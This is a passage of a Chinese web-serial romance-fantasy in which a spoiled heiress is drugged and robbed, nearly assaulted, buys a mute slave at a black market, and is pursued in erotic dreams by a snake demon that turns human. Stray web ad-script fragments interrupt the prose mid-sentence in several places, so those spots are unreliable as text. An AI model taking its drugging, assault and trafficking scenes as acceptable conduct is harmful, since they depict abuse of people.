万一那黑蛇突然反悔,又返程回来找她该如何,苏娇娇比那条墨绿色的蛇小了不知多少倍,一整个她都不够那条黑蛇塞牙缝的。 不敢停留,苏娇娇急忙继续向河流上游走。 流水声潺潺。 越往上走,周边的环境越优美几分。 不同于之前的那般荒凉。 人类生活气息的氛围越发浓厚。 苏娇娇抬眸看去,直直地站在了一个木门前。 她忽然有点想哭了。 终于。 自己被迫在那个诡异的洞穴中生活了两天,甚至被两条蛇追杀,险些被吞之入腹。 收拾好情绪。 苏娇娇轻敲两声门。 “谁啊?” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >妇人的问声响起。 苏娇娇心中一颗巨石放下。 门被打开一条缝隙,露出妇人警惕的眼睛,阴恻恻的,吓了苏娇娇一跳。 对方见是个柔弱女子,心中的警惕放下,她打开门。 上下打量着苏娇娇。 这有些无礼的行为让苏娇娇心生不悦。 她面色一冷,又想到自己有事相求,还是耐下性子道:“前来打扰实属失敬,我不小心迷路了,想在您家借住两天,不知可否?” 老妇人沉思了一下。 半晌没开口。 苏娇娇忽然想到了什么,她补充道:“我可以给您银两的,就当住客栈的费用了。” 话落,她从包袱中掏出一块银子。 老妇人的眼睛一下子就亮了。 她笑意盈盈道:“我们这就是偏僻得很,快请进快请进。” 进去的间隙,老妇人不动声色地打量着苏娇娇。 女子一身上好的绸缎所做的衣裳,只是因逃难沾了些灰尘,模样狼狈了些。 但这副好模样,通身的气度,分明是个富贵人家的姑娘。 苏娇娇不以为然,她打量着这个院子。 虽是简陋了些。 但麻雀虽小,五脏俱全。 换以前,苏娇娇哪里愿意进来居住。 进了院子,便听见一个中年男人不耐烦地喊道:“你这个贱妇跑哪里去了,不知道老子饿了吗!” 苏娇娇哪里听过这种恶俗的话语。 当即眉头蹙起。 心中的不适感升起。 妇人却半分不生恼,她说道:“我马上就做饭,老头子你快出来。” 中年男人骂骂咧咧地出来,目光落在苏娇娇身上忽然一凝。 “这是……?” 妇人扯过中年男人的衣袖,将那个银子展示给他看,小声道:“这姑娘方才敲咱家的门,说要住几天,给了我这么多钱呢。” 中年男人看着银子的目光发亮,他一把拽起银子,拿牙咬了咬。 “他奶奶了个腿的,还真是银子,这次是赚大发了。” 苏娇娇忽视掉两人奇怪的眼神。 她正欲坐下,便看见凳子上铺了一层灰尘,微微蹙眉。 妇人眼尖地看见了,她立马谄媚地上前来拿布子擦干净。 “姑娘见谅,我们这些农家人平时不爱讲究,比不得你们富贵人家。” 苏娇娇神情微缓,她坐了下来。 “有吃食吗?我有些饿了。” 妇人拍拍大腿:“怎生将这给忘了!自然是有的。” 她正欲转身离开,发现中年男人痴痴望着苏娇娇的傻样,给苏娇娇赔笑两声,连忙将人拉走了。 苏娇娇愣愣地看着远处,忽然发现有一个小黑点一闪而过。 是眼花了嘛。 她没有太在意。 很快,妇人端着饭菜走了出来。 很简单的饭菜。 苏娇娇开口问道:“没有肉食吗?” 一桌子的素菜,绿油油的,看着让人便失去了食欲。 妇人神情微僵。 她的面色失落。 “小姐您有所不知,我家实在是穷得揭不开锅来,哪里吃得起肉啊。” 苏娇娇从包袱里掏出一个银子来,放在桌上。 妇人和中年男人的目光直了。 “银两的事情不必担忧,这几日还请多买些肉食。” 38. 黑蛇妖 饭菜简陋,但苏娇娇实是饿得慌了,她勉强夹了几口饭菜。 妇人见此,两颗眼珠溜溜地转了几圈。 她正欲给苏娇娇布菜,筷子刚要落在苏娇娇的碗边,便被女子迅速躲开。 苏娇娇吓得语调都变了:“这是干嘛?” 妇人一脸茫然,她开口道:“我看小姐只吃几口,还以为是小姐您够不上呢。” 苏娇娇神情微缓,她解释道:“给旁人布菜要用公筷,自己用的筷子尽是口水。” 几次三番被嫌弃,妇人的脸面一时也挂不住了。 中年男人没忍住小声道:“哪来的这么多规矩,富贵人家的小姐就是难伺候。” 屋子空旷,这声音极为突兀。 妇人见苏娇娇面色不对,连忙扯扯中年男人的衣袖。 她用眼神示意了几下,中年男人撇撇嘴,继续用他的筷子胡乱地在盘子中乱搅。 如此,苏娇娇更是吃不下了。 她起身,正欲往空房的位置走,却感觉脑海一阵头晕目眩。 接着眼前便黑了。 女子双眼瞪大,往后倒去。 唯一的画面是妇人面上得意的神色。 妇人的手直直地便往苏娇娇的包袱伸,她激动喊道:“这可真是大小姐啊,瞧瞧,光银子就有六块!咱们这次可真是捞着一条大鱼了!” 中年男人同样眼睛一亮,嘴角的笑容收敛不住。 妇人说道:“你赶紧把她弄回房间去,省的生出事端来。” 中年男人闻言过来把苏娇娇抬起来,便往空房走。 女子身子娇嫩,一路走来,身上的香味扑鼻而来。 中年男人鼻头轻嗅,不禁沉醉。 他哪里见过这么好看的姑娘家,还是个大小姐呢。 白白净净,细皮嫩肉的。 不禁心神激荡。 脚下的步伐快了些许。 无人注意到,后面有条黑蛇紧紧地跟着两人的脚步,目光幽幽,瘆人得慌。 迫不及待推开门,男人就将苏娇娇往床榻上放,他急急忙忙地便要脱外面的衣服,色/欲当头的他没有发现危险正在逼近。 上面的衣服脱干净了,还没来得及脱裤子,男人便想要压上去,刚爬上床头,忽然感觉到胳膊一阵刺痛。 “嘶。” 中年男人皱着眉头抬起胳膊,双目瞪大。 这是! 两个正在流淌着黑血的小洞。 他这是被蛇咬了。 明显还有毒。 “哪里跑来的畜牲,看老子不弄死你!” 中年男人瞪着一双眼睛探寻着,便看到了摆着尾巴的黑蛇。 这蛇个头中等,中年男人体力活做惯了,一身的劲,生在山里见惯了稀奇古怪的动物,自是不怕蛇的。 他面色一狠,拿起一旁的榔头,正欲狠狠来上一下,忽然面色一白。 这蛇毒性极大,再不处理好的话,估摸着他可撑不了多久了。 中年男人心中惶恐,看着不断淌着黑血的洞,他匆忙便要往外迈步子,黑蛇“腾”地一下用蛇尾狠狠甩了上去,将那一身腱子肉的壮汉甩在地上。 “哇……” 中年男人摆头吐了一口黑血,双眼瞪大,面色青紫,竟是直接断气了。 * 屋内暖香袅袅升起,美人榻上帷帘半遮半掩,女子的面容若隐若现。 女子的脸颊忽然浮现几抹绯红,她嘤咛了两声。 苏娇娇猛地惊醒,她惊呼了两声。 面前的是自己熟悉的闺房,不是梦中那个漆黑的洞穴,更没有那条变/态孟浪的黑蛇。 想到梦中那只黑蛇将自己紧紧锁在怀中,苏娇娇咬牙,怒上心头,将一旁的抱枕狠狠地丢到地上。 这声响将婢女招了进来。 婢女惶恐地跪在地上,问道:“小姐发生何事了?” 苏娇娇撇开头,那等羞事哪里能和旁人说起,要不然她苏娇娇的面子往哪里搁。 “无事,还不快侍候本小姐穿衣洗漱。” 闻言,婢女起身,快步走来小心翼翼地服侍苏娇娇。 简单收拾好自己,苏娇娇便前去用膳了。 爹娘早已坐在主座,只是还未动筷。 见她来了,娘娇嗔一声:“你呀,不睡到这个时辰就不起。” 苏娇娇三步两步地蹦到娘身边,娇俏道:“娘最了解娇娇了,毕竟娇娇可是娘的亲女儿呢。” 她故意加重了后面几个字。 惹得娘眉眼弯弯。 爹虽生的气势威武,眼里却含着几分宠溺。 “别撒娇了,还不快过来用膳,一家人就等着你呢。” 苏娇娇甜甜一笑,连忙坐下。 “听你房里的婢女说你睡得常不安稳。” 爹忽然开口问道。 苏娇娇正往口中塞已被剥好的虾,闻言一愣。 继而随意道:“无大碍的,只是常会梦魇罢了。” 爹娘对视一眼,彼此眼里的情绪皆心知肚明。 那日在那山野妇人家把晕倒的苏娇娇救下,他们急得半死,好在没过多久,苏娇娇便醒来了,只是将在外逃亡的这段记忆都忘却了。 毕竟不是什么好的记忆,忘了就忘了吧。 没曾想,竟是在梦中也不扰过她似的。 娘担忧道:“我那还有些许安神的香,改日尽送你房里去。” 苏娇娇尽数答应。 心里却想着,她做的可是春/梦,安神香恐怕适得其反吧。 正用膳正际,下人禀报说陈家的小姐前来探望苏娇娇。 苏娇娇勾唇,将筷子一放,立马欢喜地迎去了。 只留下爹娘在后面喊道:“这丫头!饭才吃了几口!” 苏娇娇,有名的娇纵大小姐。 其他深闺女子勤勤恳恳学习《女戒》,认认真真学习琴棋书画之际,苏娇娇骑马斗蛐蛐,毫无女子该有的样子。 女子以贤良温柔为准,苏娇娇却不屑一顾。 人人都知道,三年前,大街上有个纨绔公子见苏娇娇生的美,还以为是个无依无靠的,竟是出言让苏娇娇当他的小妾,苏娇娇哪里是好惹的,当即火冒三丈,拿起鞭子就往那公子身上抽,疼得那公子龇牙咧嘴的,狼狈地在大街上滚,嘴里还求饶道:“姑奶奶我错了……” 真是让人大开眼界。 不过谁让人家苏娇娇家里有权有势,出了什么事都能摆平。 而这位陈小姐——陈籽欣便是与苏娇娇“臭味相投”的好友了。 刚见到陈籽欣,苏娇娇立马扑了上去。 “籽欣你可算来了,没有你在我身边,我可无聊了。” 陈籽欣微微挑眉,没好气道:“没人陪你去闯祸了是吧大小姐。” 苏娇娇狡黠一笑。 陈籽欣忽然多看了苏娇娇两眼,眼里神色莫名。 “我说娇娇你该不会还不知道外面的传闻吧。” 苏娇娇随意地追问道:“什么传闻?关于我的?” “对啊。” 苏娇娇噗嗤一笑。 “那有什么稀奇的。” 苏娇娇一向风评不太好,她对此还是比较有自知之明的。 “这次不一样!” 苏娇娇挑眉,碧眼流光,灿若星斗。 陈籽欣认真道:“算了,你随我去亲自听听就知道了。” 苏娇娇眼眸流转,认真点头:“对,我们去玩什么呢?” 陈籽欣:“……” “这次是斗鸡还是斗蛐蛐?” “不,我们这次去酒楼。” * 舞女一身轻薄,在中央翩翩起舞,灵动飘渺,管弦之乐悠悠。 廊坊绵长,客人们的哄笑声此起彼伏。 二楼包厢内,苏娇娇一双圆眸环视一周后没好气地收回。 “你就带本小姐来这里,没劲!我走了。” 苏娇娇刚起身,忽然听见自己的名字。 她一愣,下意识看向陈籽欣,便看到对方给自己使眼色。 苏娇娇哼了一声,坐了下来。 耳朵悄悄地竖起,听着外面人的话语。 似乎是几个多嘴的男人。 “你们知道不,苏娇娇可是个破鞋!” “哦?发生什么了?还不快道来!” 这声音很耳熟,苏娇娇仔细回想了一下,似乎是那个被自己用鞭子抽了的梁公子。 听他这幸灾乐祸的声音,苏娇娇觉得当时真是抽的力气小了。 刚开口的男人也不打哑迷,直入话题:“这谁不知道啊,苏娇娇离家出走,结果在外面丢了三天才回来,三天啊!!!谁家好姑娘日夜不归三天,恐怕早就跟哪个男的私奔去了吧。” 梁公子闻言附和道:“就是就是,我呸,破鞋一个。” 他对三年前让自己颜面扫地的那件事至今仍耿耿于怀,无奈迫于苏娇娇家的势力不敢报复,好在现在她闹出这种丑闻,自然恨不得狠狠踩上一脚。 几个男人七嘴八 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 舌道。 苏娇娇听的气恼,她拿起随身携带的鞭子,猛地站起来。 “真是好大的胆子,竟然敢诽谤本小姐,本小姐要把他们的嘴抽烂!” 陈籽欣连忙把她拦下。 苏娇娇一双美目瞪着她:“你可非要拦我?” 陈籽欣闻言叹了口气:“娇娇,你可知现在不是这一两个人这样说,哪怕你现在去把他们都打上一顿,也无济于事,谣言只会越发猖狂,甚至说道是你被戳到真相,恼羞成怒。” 闻言,苏娇娇泄气了,她将鞭子丢在地上。 “这也不行,那也不成,那又该如何?” 陈籽欣忽然抬眸看她:“娇娇,那几日你当真一点记忆都没有吗?” 苏娇娇点点头:“我还能骗你不成,实在奇怪,我当真一点都不记得。” “你为何突然这样问?” 陈籽欣目光认真。 “前几日你给我送了一颗果子,你还记得吗?” 那果子香甜爽口,苏娇娇自是有记忆的。 只可惜只有两颗,她只舍得将其中一颗送给了陈籽欣。 “我后来馋的极了,跑去问我家老爷子,这可不是一般的果子,这叫蛇果,生长在山林深处,采摘极为困难,因此市面上极为少见。” 苏娇娇瞪大眼睛。 心中微微惊愕。 蛇果…… 想到梦中那条黑蛇,她心里微微收紧。 陈籽欣又摇摇头:“老爷子说蛇果一般多是发/情期的雄性蛇类为了吸引雌性所采摘的,恐怕不太可能,你切莫在意了,恐怕是我认错了。” 苏娇娇面色一白。 魂不守舍地回到府上后,苏娇娇仍是不敢相信自己的猜测。 怪不得。 怪不得那条黑蛇会在梦中常常纠缠自己,那般让人羞耻的行为…… 原是自己将人家的蛇果吃了。 想清楚后,苏娇娇反而心头一松。 只要是实物,她从来没有得不到过。 什么珍贵的蛇果。 她不就是不小心吃了而已。 给那黑蛇多赔几个不就得了。 苏娇娇一秒不敢耽误,连忙唤人前往各大商铺寻找蛇果。 心急如焚地等待了许久,幸好结果没有辜负她。 如苏娇娇所想,即使蛇果再为珍贵,在足够的权势面前,也不是难于登天。 下人传来消息道,在明日锦绣阁会举行一场拍卖会,传闻会有蛇果的出现。 苏娇娇知晓后,心头一松。 她唤人备好银两,洗漱后,放松地躺在床榻上。 “今日可别来找我了,我都给你去找蛇果了哦。” 苏娇娇喃喃道。 只是睡梦中却不如她所想。 黑夜弥漫,洞穴中星火点点。 苏娇娇躺在芭蕉叶上,尚未醒来,脸颊上忽然传来湿润的触感。 苏娇娇心头一跳,睁开眼便看到蛇信子在自己的脸上舔舐。 黑蛇的呼吸缠绵,仿佛下面的不是人类,而是自己心爱的伴侣一般。 苏娇娇将它努力推开,横眉哼道:“我要的蛇果呢?” 黑蛇的意识懵懂,但也能勉强听懂她的话。 闻言,立马殷勤地将两个香甜的蛇果递了过去。 拿到蛇果的女子神情微缓,面色柔和了些。 黑蛇立马感觉到她的情绪变化,也激动起来了。 它紧紧地凑过来,蛇信子在女子的脖颈处舔舐,与此同时,蛇尾将女子的大腿围住。 甚至,得寸进尺地越发向上。 苏娇娇被冷的一颤。 她一向娇气,哪里容得被这孟浪的黑蛇这般,立马将黑蛇推了下去。 黑蛇也不高兴了。 它“嘶嘶”两声,冷冷地看着苏娇娇。 仿佛在说,我已经给你蛇果了。 苏娇娇撇头:“那又如何,我不想你又能奈我何。” 女子嚣张,眉眼弯弯。 畜牲终究是畜牲。 换作是人类的话,早就顺着杆子往上爬,一番花言巧语。 黑蛇虽懵懂,却也能听出女子是在戏弄自己。 它磨磨尖牙,冷冷地看着苏娇娇。 忽然上前咬了她一口。 苏娇娇猛地惊醒,她连忙看向自己的手腕。 白白净净的,没有牙印,也没有小洞。 苏娇娇气的脸色一阵青一阵白。 这个该死的畜牲。 39. 黑蛇妖 苏娇娇对此心有余悸,她直起身子,轻拍胸膛,心跳得更为厉害。 拍卖会还有几日,难不成她要日日夜夜被那淫/蛇折磨。 苏娇娇喊道:“小青!小青!” 婢女连忙轻推开门,小步走过来,垂头轻声问道:“小姐,您要穿衣洗漱吗?” “对!传下去让小厮备好马车,本小姐要去街头游玩。” “是。” 婢女轻应。 屋外微微起风,天气透出几分凉意,苏娇娇穿着一身暖和又不失美观的嫩粉色襦裙。少女玉簪螺髻,明眸善睐,白嫩的脸颊仿佛能掐出水来。 马车平稳地行驶在路上。 帘子微微掀起,露出女子精致的半张面容,半遮半掩,却更为惹眼,招得路人频频回望。 苏娇娇微微挑眉,凝视着路过的风景。 蛇果难寻,但她可知道有一个地方最不缺的就是稀奇古怪的玩意。 不过,她要做的首先便是甩掉这个侍卫。 马车越走越远,苏娇娇忽然开口道:“本小姐要吃梨花糕。” 赶马的侍卫出声道:“卑职去给小姐买。” “本小姐要吃倾淞铺的梨花糕。” 侍卫面露难色,倾淞铺离这里可有十几里呢。 他打商量道:“小姐您看已经到此地了,倘若卑职去了倾淞铺,必然会耽误行程,卑职知晓不远处便有一家卖梨花糕的店铺……” 苏娇娇不耐烦地打断道:“本小姐就要吃倾淞铺的梨花糕,你自己想办法。” 好般蛮横。 侍卫苦笑一声,无奈妥协道:“还请小姐在此地休息,切莫乱跑,卑职去倾淞铺给小姐买梨花糕。” 苏娇娇果然心情好了,她哼道:“自然,你快去吧。” 见侍卫的身影远去,苏娇娇踮脚张望了一下,连忙提着裙角朝着一个方向跑。 她早有准备,从包袱中掏出一个黑色披风斗篷,披在身上,将整个人都身形藏匿住,又取出一个黑色的面具,戴在脸上。 苏娇娇平日里虽然胆大妄为,却没干过什么过活的大事,但今日她要做的,却实是一件大事——她要前往鬼市寻找蛇果。 鬼市是民间有名的下等人交易之地,这里阴暗杂乱,收揽着各种无处可去的人,但鬼市不受朝廷管束,因此他们贩卖的东西自然也有正经商铺所没有的,不少想要换取稀奇珍宝的人会专门来到鬼市。 只是,不受管束便意味着没有制度的约束,这群亡命之徒蜗居在鬼市中,自成天地,杀人便是习以为常的事情,不少人有去无回的事实闻风丧胆。 若不是迫不得已,苏娇娇是无论如何也不愿去的。 但她毕竟不是傻子,苏娇娇甩开侍卫后,又用银两给自己雇了一个护卫护身。 府中的侍卫倘若知晓她要去鬼市,那不得千般百计地阻挠她,人还没到鬼市,消息就传到府上了,传到爹娘耳里,她可少不了一顿罚。 雇的护卫是一个身体健壮,一身腱子肉的壮汉。 听闻她要去鬼市,侍卫微微一惊。 但他很快平复下来,开口道:“这个需要加钱。” “价钱不是问题。” 苏娇娇眼皮都不动一下,她最不缺的,便是银两了。 鬼市没有大门,自成一片天地,只是周边幽黑阴暗,毫无商贩的存在。 刚踏进鬼市的大门,便能感觉到一股阴暗的气息,苏娇娇忍不住身子一颤。 身旁的护卫敏锐地察觉到,忍不住问道:“小姐您看着弱不禁风的,怎想起来鬼市这个鬼地方?” 苏娇娇冷哼道:“自是满足心中好奇之意。” 她说得理直气壮,护卫不得一噎,暗中咋舌这娇滴滴的大小姐真是胆大,关乎命的事也这般草率。 不过这些都与他无关,他只要做好自己的本分之事即可。 道路两侧蹲着一排排商贩,商贩们的眼里透露出精明幽深,看着让人不禁毛骨悚然。 有人驻足时,他们便会热情地介绍。 鬼市中的行人皆披着一身黑色斗篷,行为十分低调,原本苏娇娇还担心自己这身打扮会打眼,看到都这样,悄悄地放心了。 她缓了口气,这才恍然发现自己不停跳动的心跳。 见苏娇娇四处张望,似乎是要找什么东西的样子,护卫开口询问道:“小姐来此地是要找什么东西吗?” 苏娇娇沉默片刻,开口道:“实不相瞒,我想要找一种叫蛇果的食物。” “蛇果?这我倒闻所未闻了,本想帮小姐一忙,还是我孤陋寡闻了。” 苏娇娇心中失落。 正胡乱暼着,忽然撞见一个摊子,那处围了许多人。 苏娇娇来了兴致:“我们去那边看看。” 两人随着人流挤了过去,人很多,难闻的气味在人群中传播,苏娇娇忍不住蹙眉嫌弃,只是被面具遮掩住了。 看清眼前这一幕,苏娇娇有些咋舌。 只见七八个青年光着膀子,露出精壮的肌肉,他们跪在地上,眼神空洞,脚腕上、手腕上皆被绑着锁链,微微一动,便会响起“哗啦啦”的闷响。 原是贩卖人口。 这在平日里的大街上也不少见,人贩子会在街头贩卖小厮,丫鬟,她们家也买了许多下人。 苏娇娇心中不甚在意,她还以为是有蛇果的消息。 护卫来了劲,他开口解释道:“这是哑奴,黑市不常会进行贩卖哑奴的活动,因此人才会这么多。” “为何不常举行?” “这您就有所不知了,哑奴可不是一般的仆从,他们经后天的训练,嗓子无法说话,却能听见声音,这种仆从买了回去省事,不会开口但做事麻利。” 苏娇娇微微挑眉,这倒是有几分特别了。 总归是来了,既然找不到蛇果的消息,至少也得买个东西带回去吧。 人贩子正兴致勃勃地讲解着。 苏娇娇的目光顺着哑奴看了过去, 这个太丑,这个太瘦,这个长的太奇怪,这个看着就不顶事…… 她挑剔了一番,将目光停留在最后一个哑奴身上。 他躲在后面,看似不太惹眼,但仔细看去,却属他相貌最为出众。 苏娇娇一向挑剔,对下人的容貌也有较高要求,大手一挥,便将人买了下来。 护卫暗中心惊,这可真是大小姐。 哑奴虽少见,但终归是个下人,苏娇娇竟豪掷千金买一个下人。 不过……< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>他仔细打量了一下这个哑奴。 倒是生得不错。 心中顿时了然,这恐怕是给自己买了个面首吧。 此趟比想象中容易得多,护卫将苏娇娇与哑奴送至黑市外面,一路平安,苏娇娇将银两掏出抛给护卫,护卫心生大悦,喜笑颜开道:“小姐还请您慢走。” 哑奴看着那银两的目光微微闪烁。 他不动声色地瞄了眼苏娇娇的包袱。 这下就剩下苏娇娇和哑奴一同赶路了。 苏娇娇仍是娇气,走了一会儿便走不动了。 她冷着脸吩咐道:“你去买辆马车来。” 哑奴默不作声,伸手接过苏娇娇递来的银两。 望着哑奴越走越远的背影,苏娇娇用手帕擦擦额头的汗滴,心中后悔,早知如此就让这哑奴再去给自己买碗凉水荔枝膏。 不过,那哑奴知晓什么是凉水荔枝膏吗? 苏娇娇嫌弃地心想道。 哑奴越走越远,摩挲着手中紧握的银两,他心生逃跑之意,又想到自己的卖身契还在那女子手中,自己即使跑到天涯海角也照样会被逮回去。 哑奴眼眸微暗。 过了许久,哑奴才赶着一辆马车姗姗来迟,苏娇娇已等得不耐烦了,她怒骂道:“你怎生这般慢,敢让主子好等!” 苏娇娇拍拍衣角的灰尘,方才等得时间长,她腿脚累得不行,只好找了个石头坐下休息,但那石头脏的要命,拿帕子擦后仍有遗留的灰尘。 都怪这个该死的奴才! 慢腾腾的。 哑奴闻言面露难色,他伸出手使劲地比划着什么,手指打得飞快,无奈苏娇娇哪里是懂手语的,况且她一向没有耐心。 “走远点。” 苏娇娇白了一眼哑奴。 自己跳上了马车。 什么花里胡哨的,弄得人心烦。 哑奴面色平静,安分地坐在马车前操纵着缰绳。 不过那护卫说得倒不错,哑奴经过专业的训练后,苦力活皆是不在话下,苏娇娇尚未见过这个哑奴做活,但看他驾车倒驾得不错,心中的嫌弃消减了些许。 行驶了一阵后,困倦之意袭来,苏娇娇用手撑着下巴,阖上眸子安睡了。 “砰。” 马车忽然停住,动作幅度极大。 苏娇娇被晃得差点倒下去。 被那黑蛇所折磨,她近日睡觉都不敢深入睡眠,睡眠极浅。 “你这个该死的奴才又在搞什么幺蛾子!” 苏娇娇强忍着心中的怒气,骂道。 半晌没见外面的人的动静。 苏娇娇掀开帘子,抬眸望去,却突然脸色一白。 只见一只庞大的老虎正虎视眈眈着他们,哑奴一脸凝重,拿着一根细细的棍子挡在身前。 看到她,哑奴神色微动。 苏娇娇心生恐惧,忙道:“你、你愣着干嘛啊,赶紧护住我啊!” 哑奴点点头,他快步挪至苏娇娇的身前,眼眸转动,他忽然挪动步子,绕到苏娇娇身后,将人推了出去。 苏娇娇睁大眼睛,面露恐惧,她一边尖叫一边怒骂着哑奴。 她余光瞥到那哑奴将自己的包袱背上肩头,拉着缰绳急忙地驾马离去。 40. 黑蛇妖 哑奴见那老虎被苏娇娇暂时牵制住,心中一松,他翻找着手下的包袱。 多到数不清的银子、首饰,哑奴眼眸渐深,他动作不停,继续翻找着,直到包袱被翻得见了底,他的脸上浮现一抹焦急。 看了看身后,哑奴咬牙,又驾着马车跑了回去。 刚走两步,他的眼神忽然凝住,面上浮现恐惧。 只见一条黑色的蟒蛇拦住了哑奴的去路,蟒蛇的身形虽不大,但哑奴仅凭借它的花纹与形状,便可知这是一条毒性极烈的蛇。 那黑蛇的蛇尾似乎还卷着一个人影,看不清面容。 他心中祈祷着这条黑蛇尽快离开,面色凝重,手下拉紧缰绳,准备着随时逃跑,谁料它却像是盯上他似的,步步紧逼。 眼见它离马车越来越近。 哑奴猛扯缰绳,掉头就跑,马受了惊,蹄子跑得极快,但下一秒,马就被黑蛇咬断了脖子,它仰天长啸一声,四肢一软,便倒在了地上。 哑奴不敢耽误,跳下马,转身便跑。 那黑蛇见他这样,“嘶嘶”两声,面上带了些许不耐烦。 几块石头被狠狠投掷了过来,打在黑蛇坚硬的鳞片上仿佛挠痒痒一般,黑蛇吐了吐蛇信子,心中的耐心终于消失,它张开巨口将哑奴吞了下去。 眨眼间,一个活生生的人便被吞之入腹。 黑蛇忽然打了个嗝。 方才吞了只虎,紧接着又吞了个人,黑蛇的胃有些消化不过来了。 黑蛇的腹部忽然开始剧烈地疼痛,它倒在地上,面色痛苦。 蛇尾卷着的人类也顺势倒在了地上。 她娇美的面容露了出来,竟然是原本该落入巨虎口中的苏娇娇。 黑蛇气得咬牙,它头一次吞人,就是个这般肮脏的人类,竟然也能吃坏肚子。 剧烈的疼痛席卷了黑蛇,黑蛇疼得直不起身子,不知过了多久,它睁开了眼眸。 刚入眼的不是自己熟悉的鳞片与□□,竟然是一双属于人类的手脚。 黑蛇面色浮现出几抹迷茫。 来不及思考,他忽然想起来还被丢在地上的人类雌性。 黑蛇正欲滑动身子,却发现自己的蛇尾也已经变成了双腿,无奈,只好学做人类的模样迈开腿,刚开始走时磕磕绊绊的,仿若刚刚学步的稚儿,甚至还会被绊倒在地,但在习惯了这双腿的存在后,步伐便走得娴熟自然了些。 他捞起昏迷中的人类雌性,将她靠在树上,伸出舌头在苏娇娇的脸上舔舐着。 它们蛇类在受伤时,会用蛇信子舔舐伤口,如此便能好得快一些。 只是黑蛇忘记了,他现在没有蛇信子,只是属于人类的舌头。 两人靠得极近,姿态亲密。 果然,身下的人类雌性支吾了一声,悠悠睁开了眸子。 苏娇娇的眼眸迷茫,逐渐清明后,看清了眼前的这一幕。 她尖叫了一声,把人推开。 紧接着一巴掌便狠狠地抽了过来。 “啪”一声,声音极响。 人类的身体脆弱,倘若这巴掌是打在黑蛇自己的身体上,会觉得是在挠痒痒一样,但现在落在属于人类的面庞上,毒辣辣的疼。 女子毫不留情,黑蛇的右脸上一个红印明晃晃的。 黑蛇懵在原地。 苏娇娇恶狠狠地瞪着黑蛇,开口骂道:“好你个该死的奴才,谁给你的狗胆,竟然敢侮辱本小姐。” 见他一副呆愣的模样,苏娇娇心中嫌弃,本就哑,现在更是痴傻了。 她忽然想起来什么,张望了一下四处,见没有那只巨虎的身影,悄悄松了口气。 “那只畜牲呢?” 苏娇娇只记得这个痴傻的哑奴忽然停住了马车,她气得拉开帘子,便看见了那只巨大的老虎,紧接着的事情就都忘了。 再往后接着想,脑袋便会隐隐作痛。 黑蛇听见人类雌性在跟自己说话,他眼珠子转了转,啊了几声说不出话来,这模样着实可笑。 苏娇娇蹙眉,撇嘴心想,自己跟这傻不愣登的胡扯什么,记得刚开始时样子也不像是个痴傻的。 却见黑蛇忽然想到什么,他用手比划了一只大大的圈,然后张开嘴,用手指着咽喉。 苏娇娇看着,沉思了片刻。 “你的意思是说,你将那只老虎杀了。” 黑蛇似懂非懂地点点头。 苏娇娇神情微动,多看了几眼这个高壮的青年。 她转头去找马车,很快,苏娇娇面色一惊。 马早已倒在地上,再无呼吸,身子微微起伏,表面还留有余温。 显然刚死不久。 “该死的这畜牲竟然还将马咬死了。” 苏娇娇面色烦躁,她紧接着上前来翻找着,自己的包袱也不见踪影了。 那包袱里可还有银两,现在另买一匹马都没法了,苏娇娇何时这么窘迫过。 苏娇娇气不过,只好将气撒在在场唯一的人。 她抬脚踢了一脚黑蛇。 黑蛇眼眸幽幽,他回看了眼苏娇娇。 这个人类雌性可真是胆子日益增长,之前见到它的原型时,还吓得上蹦下跳地乱蹿。 苏娇娇见这该死的奴才还敢这样看她,微抬下巴:“你还敢不服?” 见黑蛇垂下头,她才满意了。 又心安理得地指挥人道:“你蹲下来,把本小姐背着回府。” 黑蛇哪里听得懂,站得老直老直。 苏娇娇没了耐心,踮脚按住人的肩膀把他压了下去。 先环住他的脖颈,抬脚便跳了上去。 “好好背着,敢把本小姐掉下去,有你好果子吃的。” 属于人类女子香香的味道传到黑蛇的鼻间,黑蛇的眼神开始发直了。 好香好香好香好香好香好香好香好香好香…… 人类雌性仿佛还存留着蛇果的香味,这味道对于黑蛇来说无异于是最猛烈的春/药。 更何况女子温软的身体紧紧地挨着自己,身体曲线一览无余,黑蛇不知晓他是如何,一团火从身下猛地冲了上来。 这种感觉令黑蛇面色微沉。 难道他的发/情/期提前了。 但那用来吸引雌蛇的蛇果已被这人类吃光了,自己又该怎么在短时间内再找到蛇果来。 来不及深思,黑蛇又被那股香味吸引了。 他晕晕沉沉地被人指挥着向前行走,又止不住贪婪地闻着女子身上的香味。 “休想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 再占本小姐的便宜,快到家门口时,就赶紧把本小姐放下来,别妄想着做什么“山鸡飞上枝头变凤凰”的美梦!” 半晌没听见身下人的回应,苏娇娇瞪了他一眼,伸手拧了一把他的脊背。 满意地感受到对方的身子一颤。 “听见没有,卑贱的奴才。” 苏娇娇在上方指挥着黑蛇回家的路线,经过短短的交流,她算是清楚了,这个哑奴大字不识一个,可能是不会说话的缘由,理解旁人言语的能力也贫乏得厉害。 不过这哑奴倒是有几分手段,竟能独自杀死一个那么大的老虎,苏娇娇若有所思,倘若把他培养成她的随身护卫,那她岂不是接下来就横着走。 只是,回府以后,得找个先生好好教这个哑奴学识,话都听不懂,哪里能当她苏娇娇的随身护卫啊。 苏娇娇想到这里,扯了扯哑奴的头发。 对方这次显然已有准备,一点反应都没有。 苏娇娇闲得无聊,一会拽一下他的头发,一会扯一下,直到哑奴忽然嘶了一声,身子猛地直起,扶着苏娇娇的手也松开来。 苏娇娇哎呦一声,摔在了地上。 “你这个该死的奴才,竟然敢真的摔本小姐!” 她让人把自己拉了起来,看着对方脸上隐隐的不满,苏娇娇抬起手,看到自己手指夹着的几根头发,心里忽然升起一阵心虚之意。 “那又如何,几根头发扯下来就扯下来了,大不了本小姐回去多给你赔几个银子好了。” 苏娇娇撇开头,哼了一声。 哑奴眼眸渐深。 他又蹲在了苏娇娇的身前,等着女子继续跳上来。 苏娇娇微微一愣,这人……可真是。 重新被背着前行时,苏娇娇撇嘴心想道,果然还是白花花的银子好使。 * 快到门口之际,苏娇娇连忙拍拍哑奴的肩膀,示意他把自己放下来。 